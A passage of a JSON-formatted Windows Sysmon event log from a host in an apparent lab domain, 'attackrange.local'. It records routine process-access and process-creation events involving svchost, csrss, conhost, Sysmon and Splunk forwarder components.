L+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6611,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6612,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6613,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:38.088\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4266-5F2D-0000-0010BA3D0A00}\r\nTargetProcessId: 4652\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:38.088","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4266-5F2D-0000-0010BA3D0A00}","TargetProcessId":"4652","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6614,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:38.964\r\nProcessGuid: {90617006-4266-5F2D-0000-0010AD3F0A00}\r\nProcessId: 4196\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:00:38.964","ProcessGuid":"{90617006-4266-5F2D-0000-0010AD3F0A00}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6615,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:38.963\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4266-5F2D-0000-0010AD3F0A00}\r\nTargetProcessId: 4196\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:38.963","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4266-5F2D-0000-0010AD3F0A00}","TargetProcessId":"4196","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6616,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:38.963\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4266-5F2D-0000-0010AD3F0A00}\r\nTargetProcessId: 4196\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:38.963","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4266-5F2D-0000-0010AD3F0A00}","TargetProcessId":"4196","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6617,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:38.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:38.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6618,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:38.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:38.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6619,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:38.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 